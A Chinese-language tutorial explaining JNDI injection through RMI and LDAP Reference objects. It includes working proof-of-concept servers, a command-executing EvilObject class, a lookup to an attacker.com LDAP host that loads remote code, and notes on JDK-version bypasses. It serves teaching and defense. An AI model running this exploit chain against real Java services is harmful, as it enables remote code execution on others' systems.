JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。
如果远程获取 RMI
服务上的对象为 Reference
类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class
文件来进行实例化。
Reference 中几个比较关键的属性:
例如这里定义一个 Reference
实例,并使用继承了 UnicastRemoteObject
类的 ReferenceWrapper
包裹一下实例对象,使其能够通过 RMI
进行远程访问:
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper);
当有客户端通过 lookup("refObj")
获取远程对象时,获得到一个 Reference
类的存根,由于获取的是一个 Reference
实例,客户端会首先去本地的 CLASSPATH
去寻找被标识为 refClassName
的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class
动态加载 classes
并调用 insClassName
的构造函数。
在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等):
Properties env = new Properties(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env);
而在调用 lookup()
或者 search()
时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
JNDI
支持很多服务类型,当服务类型为 RMI
协议时,如果从 RMI
注册服务中 lookup
的对象类型为 Reference
类型或者其子类时,会导致远程代码执行, Reference
类提供了两个比较重要的属性, className
以及 codebase url
, classname
为远程调用引用的类名,那么 codebase url
决定了在进行 rmi
远程调用时对象的位置,此外 codebase url
支持http协议,当远程调用类(通过 lookup
来寻找)在 RMI
服务器中的 CLASSPATH
中不存在时,就会从指定的 codebase url
来进行类的加载,如果两者都没有,远程调用就会失败。
JNDI RCE
漏洞产生的原因就在于当我们在注册 RMI
服务时,可以指定 codebase url
,也就是远程要加载类的位置,设置该属性可以让 JNDI
应用程序在加载时加载我们指定的类( 例如: http://www.iswin.org/xx.class ) ,当 JNDI
应用程序通过 lookup
(RMI服务的地址)调用指定 codebase url
上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。
RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(8080); Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); } }
RMIClient.java
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8080/refObj"); String data = "This is RMI Client."; //System.out.println(serv.service(data)); } catch (NamingException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
EvilObject.java
import java.lang.Runtime; public class EvilObject { public EvilObject() throws Exception { Runtime.getRuntime().exec("open -a Calculator"); } }
jdk版本 8u101
在 JDK 6u132
, JDK 7u122
, JDK 8u113
中Java提升了JNDI 限制了 Naming/Directory
服务中 JNDI Reference
远程加载 Object Factory
类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、 com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为 false
,即默认不允许从远程的 Codebase
加载 Reference
工厂类。
除了 RMI
服务之外, JNDI
还可以对接 LDAP
服务, LDAP
也能返回 JNDI Reference
对象,利用过程与上面 RMI Reference
基本一致,只是 lookup()
中的URL为一个LDAP地址: ldap://xxx/xxx
,由攻击者控制的 LDAP
服务端返回一个恶意的 JNDI Reference
对象。
且 LDAP服务的
Reference 远程加载Factory类不受上一点中
com.sun.jndi.rmi.object.trustURLCodebase 、
com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对
LDAP Reference 远程工厂类的加载增加了限制,在
Oracle JDK 11.0.1、8u191、7u201、6u211 之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为
false`。
LdapServer.java
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8000/#EvilObject"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
LdapClient
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LdapClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("ldap://localhost:1234/EvilObject"); String data = "This is LDAP Client."; //System.out.println(serv.service(data)); } catch (NamingException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
所以对于 Oracle JDK 11.0.1、8u191、7u201、6u211
或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:
CLASSPATH
中的类作为恶意的 Reference Factory
工厂类,并利用这个本地的 Factory
类执行命令。 LDAP
直接返回一个恶意的序列化对象, JNDI
注入依然会对该对象进行反序列化操作,利用反序列化 Gadget
完成命令执行。 这两种方式都非常依赖受害者本地 CLASSPATH
中环境,需要利用受害者本地的 Gadget
进行攻击。